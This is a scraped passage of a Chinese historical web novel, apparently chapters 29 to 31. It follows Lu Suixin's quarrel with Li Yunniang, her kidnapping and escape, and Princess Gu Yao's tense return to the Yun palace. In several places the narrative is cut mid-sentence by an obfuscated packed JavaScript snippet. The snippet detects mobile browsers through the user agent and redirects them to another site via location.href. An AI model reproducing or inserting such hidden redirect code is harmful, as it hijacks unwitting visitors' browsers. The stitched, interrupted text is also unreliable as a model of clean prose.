这倒是打了陆随心一个措手不及,尤其十多年没听到的本名让她心里一麻,可下一瞬,闻着近在咫尺的李芸娘身上浓浓的胭脂味,想到她一声不吭在这员外府锦衣玉食,自己却流落他乡险些命也没了,又想到家中衣柜里只有自己的东西被剩下,不禁还是气煞了,冷着一张脸,“还不如死了好,这会儿活着回来,不是给我们员外夫人添堵吗?……哦不对,称不上夫人,看这屋子又没在正中,是个偏房才对。” 李芸娘脸一白,抓着她的手缩了回来,往后退了两步,“你……你何必这样讽我刺我?我还不是……” “还不是什么?还不是不想住烂泥糊的房,还不是不想窝在小破村里,还不是想穿锦罗绸缎,想吃山珍海味?” “我……”李芸娘脸上的白更厚了一层,秀气小巧的五官似乎也逐渐模糊,看不清了。 看她退却语结没有反驳,陆随心当是自己戳中了她心思,胸中无名火越烧越旺,混着被抛弃的一股怨念,口不择言起来,“反正,你想给人家员外脱鞋洗脚、陪睡陪笑,做小妾做通房,你乐意便好!陆少疾给你那纸呢?你拿出来还给我,从此以后,我们便各走各的道!” “你……好啊,好啊……”李芸娘身子一软,便伸手撑在了旁边一张光滑的大圆石桌上,她的手残留着早年洗衣生冻疮的痕迹,是后来如何养都没能养回来的粗糙,她双目黯淡,语调带伤,“柳大小姐现下倒是要来嫌我不干净了?” 陆随心瞥到那手,一下子被堵住了话。 李芸娘只当她默认了,微微摇着头,“可当年若不是我给那付老头拖鞋洗脚、陪睡陪笑,哪来头上遮雨的顶?哪来你一口饱饭?现在你倒嫌起我来了?你不是早就知道我是干嘛的吗?” 说出去的话,覆水难收。 陆随心的头转了过去,不愿看她的脸,手直直伸上前,“纸呢?” “烧了!烧了!早烧干净了!一点渣都没剩下!”李芸娘直起身,大叫起来,“你们柳家的事,我一点也不想掺和进去!” “既如此,那你当初又何必费尽手段爬上我爹的床?!” 这话像箭一样射了出去,残忍地正中靶心。 整间屋子都沉寂了下来。 李芸娘慢慢地坐了下去,切切艾艾里也透出一股怒气来,“是啊,我要是不那么有眼无珠,早看清柳家都是你这样的,我当初哪怕死在珠玉苑的床上,我也不会给你爹生孩子!” “是啊,当初要不是你费尽心思,非要怀上我爹的孩子,现在可能都成珠玉苑的老鸨了,倒是不必费神,还得亲自上阵伺候什么员外。”陆随心满脑空白,话说出去才意识到自己讲了些什么。 “好,好,倒是我里外不是人了。”李芸娘翕了翕鼻子,将那还未出世的泪涕都收了回去,用绢帕擦了擦脸,镇静了下来,“可我到底没做过什么亏心事,那时候,是你爹自己来金玉苑消遣的,后来为我赎身、给我买小院,也都是他自己乐意的,我没逼过他,我自始至终,也没害过谁。” 陆随心胸口一紧,变了脸色,青一阵红一阵,她不敢相信李芸娘的话里有话,也不敢相信自己当初掏心掏肺地同李芸娘讲的事,如今倒反过来成了她对付自己的武器,她明知道答案,可还是要问,“你什么意思?” “柳大小姐倒是忘了吗?当初自己是因为什么,才躲过那一场浩劫的?” 陆随心肚子里翻江倒海,气力耗尽一般,一下子失去了所有吵架的心思,而是感到无望、无趣、无尽的哀伤,她垂过头,“你说得对,要是你我之间该有一个人遭雷劈,那也是我才对。” 说罢,就转了身,沉甸甸往外走去。 到陆随心开门的那一刻,后头还是传来了一句闷声的问,“天都要黑了,你往哪里去?” “那就不劳员外夫人费心了。” 再没有回音。 陆随心像个半死不活的尸怪拖着步子走了出去,到员外府门口那只炯炯有神的石雕麒麟边上时,身后传来了一声大喊,“阿姊,你要去哪儿呀!” 陆随心立刻转过身去,看到陆少疾跑红了一张脸,急急地奔到自己跟前,顿时心口一酸,“我……回民安村去。” “回去?好、好呀!”陆少疾咧到耳朵边上的嘴巴下一瞬又掉了回去,“那……我娘呢?她怎么没来?” “她留在这儿,只我一人回去罢了。” 陆少疾扁着嘴,满脸疑惑,“她为什么不回去?” 陆随心此时乱的很,也不愿再与弟弟说起方才的事,便问他,“你在员外府待得开心吗?” “员外倒是个好人……”陆少疾为难地看着地面,“他对娘好,对我也好,很是照应我俩,就连那位夫人,也对我不错,可是……” “可是什么?”若不是这句“可是”,陆随心整个人便要就此空掉了。 “可是这附近的人,我与他们合不来。” 想到方才巷子里的一幕,陆随心胸口起伏,平静后又问,“那你还想回民安村吗?” “……想的。” 若是没有那刹那的犹豫,陆随心也许真会考虑带着他一起走,她圈住陆少疾的肩膀,半开玩笑地问,“为什么想回去呀?我们家那屋子,时常漏水,冬天一吹风,冷得直哆嗦!你待在这儿,还能上个学堂,正经地读点书……” 陆少疾打断了她,“可阿姊不是你说……要回去吗?” “我回去,你和你娘留在这儿。” “不行!”陆少疾高声否决,眼一下子有红了。 陆随心被他突如其来的激动吓到,下意识放开了他,反问,“怎么不行?” “阿姊你若一个人回去,又……又被抓了怎么办?”陆少疾像是一下陷入了什么可怕的回忆,两道晶莹的泪从他眼角落了下去,滚到了唇边。 这时候陆随心才想起来,她还根本没有问过陆少疾,那一夜在石碑后头躲着时怕没怕,独自跑回家的时候又顺不顺利,回去后有没有睡不着觉…… 她看着眼前这个没同他说过几句好话的亲弟弟,目光软了好几分。 “阿姊,弟弟发誓,以后无论发生什么事,再也不会丢下你一个人跑走!”陆少疾恨恨地抹了一把泪,怕她不信,伸出三根手指戳到空中,大喊,“少疾誓死保护阿姊!” ——“三钱誓死保护阿姊!” 遮天蔽日的心绪涌上陆随心的胸口、喉咙、脑袋,包裹着她整个身子,将她不留情面地投进那段不堪回首的过去。 曾几何时,她也有过这样一个弟弟,像根小尾巴,紧紧地跟在自己屁股后面,她叫他做什么,他就做什么,她叫他说什么,他就说什么。 她有了玩伴,也有了依仗。 当她做错事要被爹爹揪起来打屁股,再也不像之前那样无人求情,因为他会如誓死保卫将军的忠诚士兵一样,冲上来扑在她背上,“要打就请打我罢!” 于是她满心欢喜,觉得孺子可教,天天对他耳提面命,要他把那句话日诵百遍,以求让他不消不灭地刻印到心里,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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之前在她后脖颈爬过的密密麻麻的疼又蹿了出来。 “你是谁?”陆随心把陆少疾护在了身后。 “我是谁不重要,重要的是你是谁。”那人指了指自己的眉角,“我在找柳家的后人,是你吧?” 那一日阿柒的警告又在耳畔响起,可陆随心却早已没有了悔恨的余地。 她扼住心头恐惧,迅速回过头去,对弟弟喊了一声,“快跑!” 可这一次的陆少疾却出乎她的意料,他不仅没跑,还从陆随心胳膊下钻了出去,挡在了她面前,两只手臂远远抻开,像要护住崽子的母鸡,“我方才说了,要保护你的!” 陆少疾脚下来来回回地碾着地,好像在控制无法停止抖动的双腿,一边朝前面的人大吼,“你有什么事,尽管冲我来!” 若不是形势危急,陆随心倒真不知道要对挺身而出的陆少疾作何反应了,简单同他说声感谢是不是有些太轻便了?可也不能哭着说自己大为感动吧?那样她这个阿姊的颜面往哪儿搁? “呵。”黑衣男人的嘴里偷跑出一声轻蔑的笑。 这笑倒把走了神的陆随心立马勾了回来,她按住面前陆少疾的肩膀,生怕他一时冲动,扑上去和这人拼命,一边喊道,“你认错人了!我姓陆,不姓柳。” “啧啧。”那人砸吧了一下嘴,显然对她的话不肯买账,举起一根手指,像抽了风似的在空中乱点着,“这么着吧,我现在给你两条路,你选一选。” 陆随心紧紧盯着他,生怕他随时攻上来,那学过的几招反擒拿术早就从脑子里一溜而过,怎么也想不起来了。 “第一条,我杀了这个小兔崽子,然后把你绑走。第二条……第二条……嗯,我突然决定,没有第二条了,我看这个小崽子不太顺眼。”说罢,他也不跑,不疾不徐地漫步欺了上来,手里什么武器也没拿。 陆随心能清楚地在他身上嗅到毫无遮掩的杀气,和她以往见过的都不同,那是一种极致、非人的恶意。 就好像……杀人对他来说,可以只是一种乐趣。 身前的陆少疾也感受到了迫人的威压,他抵着陆随心一路往后退。 陆随心弯下身凑到他耳边,悄摸摸地说,“他留我的命有用,我死不了,你回去赶紧找人来救我,知道不?” 也不等陆少疾反应,就抓着他往身后的员外府甩去,自己则向眼前的人冲了过去。 能挣得片刻便是片刻,能挣得须臾便是须臾。 当陆少疾躲进员外府的大门,才敢顺着缝隙往回瞧一眼时,他就看到自己阿姊的手被整个攥住,一记手刀劈向了她的颈间,人就这么被扛走了。 他第二次成了阿姊庇佑下的幸存者。 本已干涸的脸上又有泪水扑簌簌地滚过。 “娘——”陆少疾回身往自己娘亲的房间狂奔而去。 30. 顾瑶(一) 前方就是云国的王宫。 马儿踏在石板铺就的大道上,踢踏轻响。 街道两旁有序地站着无数民众,一张张好奇的脸左右张望,试图在车队里看清那两个重要人物的容颜——出云使和安平公主。 “安平公主呢?是安平公主回来了吗?” “是!那辆马车里,是,就是那辆!里头就坐着公主!” 顾瑶将车窗推开一道小小的缝隙,在指宽的亮光中瞧着一路夹道欢迎的人们,听到身旁的桑凌喜不自胜地说着,“公主!马上就到了!我们回来啦!” 转回头看了她一眼,见两坨殷红在她脸颊上浮出,已全然不见多日前那场风波留下的痕迹,顾瑶应了一声,“是,马上到家了。” 可她不能无视心中漾起的不安。 大北县的遭遇绝非不足挂齿的小事,尤其这一路走来,她到处看见重金招工的告示,无不暗示着,眼前那宫殿里比起她走的时候,已经发生了翻天覆地的变化。 林志崔已殁,长庆王成了真正的掌权人。 而她怕的,是这变化会把整个云国带向一种不可知的危险境地。 惴惴不安的心一路都在她身上晃荡,以至于她根本无暇顾及那日之后自己和莫楚瑛之间愈发难以弥合的关系。 他们以前确实也有过一次这样的时候。 自嫁到定国,顾瑶就一直恪守为人妻的准则,人前护他、人后敬他,莫楚瑛对她也算不遑多让,虽说一开始有些疏远不亲,可后来也不知从何时起,他变得温柔纵容,且日愈加深,她想做什么都放由她去,这也让他们从相敬如宾的家国联姻中挣脱出来,成了一对颇为琴瑟和鸣的夫妇。 直到……顾瑶一直服用避子散的事情被他发现。 “公主,公主!我们好像到了!” 车停了。 顾瑶思绪被打断,回神一看,入眼便是记忆里多时未见的熟悉宫墙,百感交集,忙让桑凌将自己的衣冠整理好,又简单补了补脸上妆容,紧着嗓子问,“我看起来气色如何?” “我们公主自是天下第一漂亮!” 顾瑶并不把桑凌孩子气的夸奖当真,自己拿过小铜镜来看了看,竟发现手心微汗,想起说自己近乡情怯的陆随心,不禁笑了笑。 “恭迎出云使、出云使夫人进殿!” “恭迎出云使、出云使夫人进殿!” “恭迎出云使、出云使夫人进殿!” 伴着大鼓敲响的声音,一句比一句响的迎辞自宫殿深处传来,从远到近,从轻到重。 马车门外,有人唤了一声,“王妃,该下车了。” 顾瑶无声无息地深呼了一口气,顶着满头的珠钗起了身,一只脚刚踏出车门,就看到换上正经朝服的莫楚瑛玉立车边,向她伸出一只手来。 自那日桑菱被围困一事后便刻意没和他单独相处的顾瑶愣了一下,把自己的手放了上去。 有个公公上前来,恭恭敬敬地哈着腰,手往宫殿群落的深处迎去,“两位贵人请这边走。” 这一幕实在太像四年前顾瑶离开的时候。 重服浓妆,百官夹道相送,走的每一步、说的每一句都有人在前头领着。 祠堂前,叩拜先皇先后,谢父母之恩;三百九十九步到主殿,叩拜天子,谢浩荡皇恩;宫门前三叩首,自此不是此中人。 她当时怀着诸多愁绪无暇他顾,麻木平静地跟着完成了所有步骤,等上了车才觉得自己不过只是一个穿着戏服的伶人,照着本在唱曲演戏罢了。 在宫里的十八年,似乎都是如此。 莫楚瑛感到掌中的五指扣紧了自己的手,他以为是顾瑶回家情切,便回握了过去。 顾瑶朝他露出了一个似笑非笑的表情,有点怨、有点感伤、还有几分难隐的谢意。 前头两个队列的公公婢女举着白日里根本看不见火的灯,带着他们绕过了那最为雄伟的大殿。 顾瑶心中一凛,又见一路上守卫稀稀拉拉,整座宫殿宛如空壳,更是叫人奇怪,本欲开口询问,还是暂且按下了念头。 缓行了一阵,他们被领到了旁边的偏殿,一进门,公公就高喊了一句,“王后、世子接见出云使、出云使夫人!” 眼前的一众人等便齐刷刷跪了下来,“恭迎出云使、出云使夫人。” 顾瑶自是一下认出了跪在屋子中央的表姊陶玉桑,她身后的婢女手里抱着个半大孩子,正在襁褓里沉沉睡着,一点动静都没有。 这下莫楚瑛也觉察出了不对,隐隐皱眉,“不知你们长庆王人在何处?” 身着金绣云纹袖衣的陶玉桑抬起头来,淡颜疲乏的脸上不失坚毅,恭声道,“长庆王突发恶疾,难以起身,故有失远迎,还望出云使见谅。” “哦,这样,那自是养病要紧。”莫楚瑛挑了挑眉,对这借口不置可否,可他双眼蒙在暗处,全然不似嘴上说的那般轻松。 长庆王称病不见出云使,和他称病不见霍淇云,可不能同日而语。 “待长庆王稍有好转,定立马亲来谢过出云使关心。” “我在这也不是只待一天两天,定是能等到长庆王好转的。” 这话的言下之意已然清晰明了,莫楚瑛见云国王后的双目一闪又沉了下去,知道她已领会,便没再多言,而是指了指身后被抱在婢女怀里的小孩,“这位,便是世子了?” 陶玉桑一挥手,婢女立刻上前两步,她把孩子接了过来,往莫楚瑛处又靠近了一些,“世子还小,不能行礼,便由我代劳……” 莫楚瑛的手轻轻搭住了她的手臂,“免了。” 说罢目光便朝小娃娃的脸上扫去,被裹在襁褓里的男婴头圆滚滚的,肌肤白皙像羊脂玉,莫楚瑛的手指就这么轻轻戳了上去,指尖顶端触到一阵奇异的柔软,叫他害怕得一下收回了手,生怕把这瓷娃娃伤着了。 一声“哼唧”突然从娃娃嘴里传出,那小脸整个皱缩到一起,嘹亮的哭声随之响彻屋宇。 莫楚瑛身后的顾瑶闻得此声,偷偷退了两步。 “出云使见谅,世子怕是饿了。”陶玉桑将孩子送回到身后的奶娘怀里,示意她退下。 “无妨。”弄哭奶娃的尴尬被莫楚瑛藏在了自己眉眼深处,他放任自己的目光黏在小娃娃脸上,饶有兴致地一路看着他被抱远,才有些恋恋不舍地回过头来,略略耸了耸肩。 陶玉桑见状,便道,“出云使舟车劳顿,必然累了吧,不若先送您去休息?” “也好。” “送出云使去迎宾馆歇息。”陶玉桑吩咐了身旁人,又朝莫楚瑛行了个礼,“恭送出云使。” 顾瑶一句话没来得及和表姊说,也只好转身要跟他走,结果被他挥手赶了两下,“你跟出来作甚?还不和你姊姊叙叙旧?” “我……”她脚步一滞,胸膛一涨,来不及说出一言半语的谢字,莫楚瑛便已跨出门远去了。 “阿瑶。” 这一声熟悉的称呼差点叫她湿了眼眶,顾瑶转回身去,发现房里的人已经被陶玉桑遣走,她定了定神,待人全都不见了影,才敢卸下所有装腔作势的样子,一个箭步冲上去,“表姊!” 俩人抱到一处,都是激动难耐。 陶玉桑的倦容此刻也因那久别重逢的喜悦亮了起来,她抓着顾瑶的手,上上下下地看她,“阿瑶,你瘦了些。” “表姊你才是,怎么脸色这般难看?是不是没睡好?” “我舍不得把世子交给奶娘,日夜亲看着他,难免便有些疲倦。”陶玉桑拉着顾瑶到一旁的椅子坐下。 顾瑶似有千言万语,恨不得都一股脑吐出来,“生的时候如何场景?顺利吗?疼不疼?怎么也不给我来信说说?我还是几个月前册立世子的奏请发来才知晓的此事。” “八个月了,疼自是疼的,可见到他,就什么都值得了,一直忙得团团转,便没来得及同你说。” 顾瑶因着那最后一句话,黯了下去,可还是握着她的手替她高兴,“是,都值得了。” 她在表姊脸上见到了让人陌生的一股柔情之意,自此成了另一个生命的母亲的表姊,似乎再不和从前一样了,再不是那个和自己一同读书习武、下跪受罚的人了。 她没去定国之前,就亲眼见过已经成为王后的表姊为了怀上孩子所受的苦,太医院的大夫看了个遍,江湖上的郎中也求了不少,还去全天下翻找那个传说中的神医金阙,药更是不知吃了几桶,日夜忧虑愁眉苦脸,如今终于得偿所愿,自是值得一笑。 “你呢?阿瑶?你与那静王……可有喜事?” 顾瑶摇了摇头,并不愿多说,她怕表姊就此话题纠缠,便赶紧另寻了一事说,“哦,我们来的路上经过大北县,碰上了押送流放的一队兵,有一个叫于四光的……” “没伤着你吧?”陶玉桑眼一闪,“那是以前林志崔手下的一个门客,有勇无谋,不堪大用,才只判了他一 个流放,没想到在那儿突发失心疯……幸好,我听说他突然暴毙了。不过,阿瑶,云国现下,可不算太平啊。” 于四光发疯般的言语还在顾瑶脑海里回荡,她有些没好气地道,“还不是长庆王太急着要把林志崔的余党一扫而尽?” 陶玉桑显然被她的言语惊了一下,好像觉得眼前的表妹不是自己认识的表妹,诧异在瞳中停了好一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928744|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿才消散,冷静下来说,“阿瑶,你不能怪他,他这也是为了大云的国运。再说了,林志崔什么样你不是最 清楚的吗?当初就是他选的你去和亲,他那一党若不除尽,我们何时能站起来?” “话虽如此,也不能这般……”顾瑶的话终是吞没在了自己的喉咙里。 眼前的不是别人,是她暌违四年的表姊,是有生之年不知还能不能再见的亲人,何必要把时间浪费在争吵上呢? 可顾瑶张了张嘴,却发现意见相左带来的生疏感让她方才无数想说的家长里短都消失不见了。 若抛开国事和儿时回忆,自己和表姊的生活早就落了在鸿沟两边,又能从何谈起? 聊表姊和孩子的日常吗?她不懂。聊她在静王府的生活吗?表姊又何来兴趣。 她转了好几转心思,才想起一个关键之问,“那大王呢?他……到底是怎么了?” 陶玉桑一听这话,立马左右扫了几眼,确认屋里真的是有两人,才伏过去,悄悄说,“你那封信,我前几日才收到,给大王一看,他就立马对外称病,偷偷出宫去了。” “这么急?就算军里还有霍因派去的其他奸细,也不必非在这一时吧?难道就没有其他人能去处理此事吗?” “兹事体大,他不放心别人。而且宗……”陶玉桑猛地望进顾瑶的眼里,却在自己这儿生起一层隐形屏障,让她把接下来的字句都悉数吞回了肚子里。 “而且?” “没,没什么。” 顾瑶不知自己脚底板的一股凉意是否和表姊的欲言又止有关,她不愿细想,装作没感觉到那堵摸不着的墙,说着自己的担忧,“可大王若迟迟不出面,又是在这偏殿接见出云使,如此不合礼数,万一定国那边较起真来,拿此事做文章,我怕明年的朝贡数额……” “可他不在,主殿谁有这个资格用?再说了,阿瑶,来的人不是你和你夫君吗?怎会有事。” 顾瑶却不敢完全沉下心,只是追问,“大王什么时候能回来?走之前,还需想办法弥补一下才是。” “你倒是和你那夫君一气同出,方才他不是也这么说吗?” “表姊,我是怕牵一发而动全身。” 陶玉桑却忽然沉默了,她低着头,不知在看什么,好一会儿,那冷暗的声音才远远传来,“阿瑶,你就这么怕定国吗?” “表姊?” “你现在,到底是以安平公主的身份在同我说话?还是出云使夫人?亦或是定国的静王妃?”陶玉桑抬起脸来,带着顾瑶没见过的陌生表情,明明是苍白的倦容,此刻那眉却飞了起来,透着尖锐的质疑。 顾瑶不知怎么,猛地想起小时候第一次见表姊的事。 那一年她五岁,母亲的姐姐病逝,留下了一个八岁大的女孩,也就是她表姊陶玉桑。表姊的父亲即刻续了弦,新的当家主母对这孩子诸多冷待,断了她的课业,叫她不必识字,学学女红便罢。 母亲听说了此事,竟去父亲门外,跪着求了一道旨。 对,就是那位九五之尊的成慧王。 据顾瑶后来所知,这是母亲生平第二次求那坐在高位上几个月都见不到一次的丈夫。 头一次,是她出生的时候。 母亲想亲手养育自己的孩子,于是拖着刚生产完的虚弱身体跪在了那一脸失望的男人面前。 大约因为又是一场毫无意外的弄瓦之喜,成惠王已然疲惫,这个恳求很容易就被恩准了。 表姊的事情也是,大王一开口,陶家根本没有任何异议,就把人送进了宫里,可能还觉得得了天赐的良机,感恩涕零了一把。 那一日,表姊穿着显然不合身的桃色衣衫,面黄肌瘦,全然不像名门大小姐,一见到她就跪下来磕头,尊敬地喊她“安平公主”。 她当时腿还很短,走了好一会才到表姊面前,把她从地上扶起来,又喜又急,手舞足蹈地说着话,“不对不对,不是公主,是表妹!我是你表妹呀,表姊!” 她不知为什么十七年后的今天,表姊倒要这么和自己说话,明明那时候不就说好了嘛?——“你以后不能叫我公主,我也只称你表姊!” 怎么会到头来,竟要问她,是安平公主?还是什么静王妃、出云使夫人? 难道,她不是她的表妹吗? 顾瑶觉得自己被泡进了天寒地冻的冰水里,所有的疲惫和疼痛都从肌肤里渗透了进来,她一下站起身,在头晕目眩里狠狠稳住了自己的身子,用尽最后一丝力气伪装出那毫无波动的话来,“王后,我有些累了。” 陶玉桑坐在原位,看着她转身离去,脸上的表情难辨悲喜。 31. 随心(三) 陆随心饥肠辘辘、脑袋昏昏。 她想数数日子,好确定这到底是自己被抓住的第几天,可她太疲太痛,四肢俱散,神魂难聚,压根数不出来。 只知道日子比在定国的地牢时惨得多——那时好歹头上有顶,不受风吹不被雨淋,每天有人送稀粥来,吃完躺着就行,真无聊了还能看着对面长相上佳的男人发会儿呆——如今白天在破庙废墟里窝着,到了晚上就得被拽起来赶路,走的还都是人迹罕至无处落脚的小道,动不动就得手脚并用地爬上爬下! 她两只手腕被并到一处缠上了粗麻绳,走得慢,爬不动,步子一掉,麻绳就会瞬间抽紧,变成吸血吃肉的刑具。 陆随心坚信,若现在把自己解开,就能看到她手腕上的皮全被粘在麻绳上。 她一开始的恐惧也被疼痛、疲累和饥渴盖了过去。 盯着自己红红的手腕,陆随心又悄悄觑了一眼坐在不远处的黑衣人。 那人把面罩解开放在了一边,一张有些残缺又野性的脸就露了出来,他的颧骨很高,鼻子高高地嵌在脸中央,嘴巴有点歪斜,唇角处皱着几层涟漪。 若他不遮脸从远处走来,似乎一下就能从他的五官闻出那股侵略性的凶狠味,明晃晃地昭示着这是一个绝对生人勿进的危险存在。 黑衣人从怀里掏出一个小药瓶,往嘴里倒了一颗不知是何物的小圆丸子,扭曲的脸略略舒展,又把瓶子放回去,隔着衣服摸了两下,确认妥帖,才拿出一块大肉干,狠狠用刀片下薄薄一块,舌头像蛇一样钻出,将肉卷进口中,咀嚼声细密如针。 “咕噜噜——” 陆随心很不愿看那张阴森可怖的脸嘲笑自己,可肉干香飘来,引得她肚子嗷嗷投降。 眼前一闪,一样东西甩到她身上,陆随心低头一看,是片肉干,立刻捡起来吞了,根本没尝出什么味道,只觉得腹中烧灼感稍有缓解,便又和往日一样,同他辩解起来,“你是谁?到底要带我去哪儿?” 黑衣人也一如既往,一字不回。 “我真的不姓柳,姓陆。是民安村长大的。” 没有声音。 “你搞错了人,回去也不好交待吧。” 这些话陆随心来来回回说了不少次,哪怕动摇他一毫一丝的迹象都没出现过,她颓然地靠着身后的污墙,看着那结满蜘蛛网的佛像,不知怎么又想起了切切叮嘱自己不要回云国的阿柒,还有当时将他的好意视作欺骗赶他离开的自己,一阵懊恼袭上,为了止住眼眶里的热意,双手便无意识地竖了起来,那一瞬间的样子,看起来像在拜神祈祷。 这动作落入黑衣人的眼里,他奇怪的脸上竟闪过一丝轻蔑。 陆随心觉察到他的变化,看了看他,低头看了一眼自己,又看了看高出的佛像,意识到了什么,忙问,“怎么?你不信佛?” “嘁。”他吐出一个尖锐的音,算作回答,唇边因此皱起的皮能夹死一只蚊子。 他有回应了! 陆随心眼中一亮。 她不敢放过这个能撬开他嘴的机会,拼了命地想让他露出破绽来,“我本来也不信,可现下就遭了报应。此前明明有人提醒我,要小心你们这些人。” 他竟真的有了反应,削肉的手停在当场,头一动不动,眼却一翻一转,目光阴森森地从一个诡异的角度刺来,“谁?” “什么谁?”陆随心吓了一跳,背紧紧地往后贴了一点,才镇静下来,假意反问道。 “那个提醒你的人,是谁?” 她按捺住内心的紧张,斟酌着字句,“一个男的,和你一样,也穿着乌漆墨黑的衣服。” 黑衣人把头一寸一寸地朝陆随心转去,嘴角像在隐忍笑意而变成了抽搐,“纯钧?” 陆随心冷不丁听他嘴里吐出一把上古名剑的名字,一时不知如何作答,跟着重复了一遍,“纯钧?” 他又问,“是纯钧说的吗?” 陆随心脑子里转了千百个念头,最后决定遵循那直觉一般的第一反应,点了点头,“嗯,对,他好像是说自己现在叫纯钧来着。” “现在?”黑衣人来了兴致,把刀和肉干丢到一边,起身蹲到陆随心面前,嘴巴微张,舌头在自己的牙齿间来回扫动,眼睛直勾勾地盯着她,“你和纯钧,是什么关系?” 那种近在咫尺的试探散发着致命的压迫,让陆随心想起无数话本里描述的变态恶人,她腹中一阵汹涌,脑袋死命往后躲,但避无可避,只好转到一边,否认,“没……没什么关系。” 黑衣人掐着她的下颌骨将她的脸掰正,“你若不说,我便将你下巴卸了,或者么,断你一条胳膊也成,我看你不是饿得很么,正好填填肚子。” “呕——”陆随心被他话里的暗示吓到,这几日吃下的几块肉干在肚子里翻滚着,长长地干呕了一记,才终于慢慢定下心神,“嗦,我嗦。” 脸上一轻,那只手撤走了。 陆随心不敢懈怠,把那从未宣之于口的推测吐露了,“我与阿柒……我与他算是旧相识。不过他六岁以后我就没再见过他了。” “呵。阿柒?”黑衣人琢磨着陆随心的话,脸上的表情渐渐铺开,像是听到了什么了不得的笑话,“那你还真和他是旧相识。” 陆随心也是一惊,整个人都被麻木的空白攫住——没想到赌对了,阿柒真的就是他嘴里的纯钧!她在黑衣人的脸上找寻着任何能利用的痕迹,却只看到了诡谲的笑意,便决定说出更多,“是,我们是一个地方长大的……我们经常在一块玩。” “那就是青梅竹马咯?” “算……算是吧。” 黑衣人一听,像是忍着笑,肩膀一耸,整个人竟颤抖着俯下身去蜷缩了起来,归于了寂静。 “你……”陆随心不知这话哪里有问题,见状,吓得生生把疑问都吞了回去。 那人肩膀越抖越厉害,和癫痫发病的前兆如出一辙,陆随心满目惊疑,正犹豫着该不该趁机逃跑时,一阵天崩地裂的笑声从黑衣人蜷曲的身体里爆发了出来——“哈!哈哈!哈哈哈!哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈!” 他就像被封住大笑能力几十年,忽而解了印的怪物,在这僻静无人的破庙里,用一种要把五脏六腑都吐出来的力道,无端地笑着。 这人是疯子! 这人是真正的疯子! 陆随心一动也不敢动,生怕惊扰到他后,他会做出什么更可怖的事来。 笑声持续了好长一会儿,黑衣人才泪眼朦胧地抬起头来,晃着脑袋,啧啧称奇般道,“太好玩了!太好玩了!没想到纯钧他竟是这样的痴情种,为了一个儿时旧相识,竟宁愿从那唯一的甲等掉下来。” 陆随心不知他在说些什么,她只是忽然觉得很害怕。 怕眼前人发疯,怕自己被折磨,也怕从他嘴里知道更多阿柒被伤害的故事。 “怪不得四年前他和他那个对头,挺了七天七夜没动手。”黑衣人伸手捻了一下自己的眼角,那儿因为大笑润出了几滴泪水,“从小就是个奇种。” 陆随心眼眸一动,想要好好问问他说的是什么意思。 从小?那他们很早就认识?对头?那又是什么?为什么要动手?挺了七天七夜又是干什么? 她克制着胸膛里喷薄的忧心,只装作简单的好奇,问了一句,“什么对头?” “自然是纯钧的垫脚石了,等你要死的时候,我可以和你好好讲讲这故事,说起来,他那对头好像有名有姓来着……”从一言不发的紧绷状态中全然放纵了出来的黑衣人,脸上的表情格外丰富,他拍了拍陆随心的脸颊,那笑还没收回去,“不过柳盼儿,你知不知道,你们纯钧为了你这个旧相识,挨了五十重鞭,估计现在还躺着动不了呢。” “什么?!” 克制瞬间瓦解。 她手脚发麻,脊背冻结,根本不知道自己该先震惊哪一个——是对方对自己底细的了如指掌?还是阿柒重伤的消息? 她一下子全乱了。 刻骨的担忧浮上心尖。 五十鞭?那该有多痛。 她曾经被村里赶牛的鞭子不小心抽到手背,赫然就是一道红印,第二天肿得老高,疼得她直抽抽,好几天不敢沾水。 那五十鞭呢? 人还能活着吗? 可阿柒怎么会为了她去挨五十鞭呢?他那么能打,谁又能鞭得了他? 陆随心极力稳住心神,装作不在意的样子,“你怕是搞错了吧。” “呵,错不了。让他去抓你,他没抓,就挨鞭子了。”眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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满身倦意还夹杂着对阿柒七上八下的担忧,陆随心脑袋里一片混乱,眼皮子却快要耷拉下来,正想着也歇一会儿再做打算,却见到黑衣人腿边一团白光! 是外头射进来的光照在了那把没有收回去的短刀上! 旁边那块黑褐色的肉干也正静悄悄躺着。 是了,他方才忙着笑话阿柒,就把东西往旁边随手一扔…… 陆随心嘴唇干涸,耳边传来了心跳的轰鸣声,她不知这黑衣人与阿柒到底什么深仇大恨,可今日他竟因此得意忘形到如此地步! 再跑一次…… 这个念头钻出来的时候,陆随心意识到自己的身子在发抖,她深深地呼了一口气,迫使自己冷静下来——只要把麻绳从中间割断,就能神不知鬼不觉地离开! 她的眼疯狂转动起来,一边丈量着自己和刀之间的距离,一边确认他有没有突然醒来的迹象。 等一等,不要急,再等一等…… 当耳朵里传来一阵微弱又清晰的平稳呼吸声时,陆随心的神经倏地紧绷起来,脸颊两侧的死穴像钻进了夯土的锄头,一下又一下地垦着,她紧紧盯着黑衣人的眼睛,发现他真的一动没动陷入了完全的平静,便当机立断,屏住了呼吸,将身体的重量都压在膝盖和手臂上,蠕虫般向前涌动。 很快,她就在自己雷动的心跳声中一把抓住了刀柄,往后穿过自己的双手之间,沾着肉渣泛着油花的刀刃没费多大功夫就把麻绳分为了两截。 直到跨出破庙的门口,陆随心才敢放开紧闭的口鼻,将体内的浊气一吐而尽。 她自由了! 她跑出来了! 树枝在她的耳边凄厉地呼啸而过,陆随心沉重的双腿在枝丫漫天的林子里毫无头绪地奔跑着,脸上破了一道又一道细细红红的口子,应该很疼,可她感觉不到。 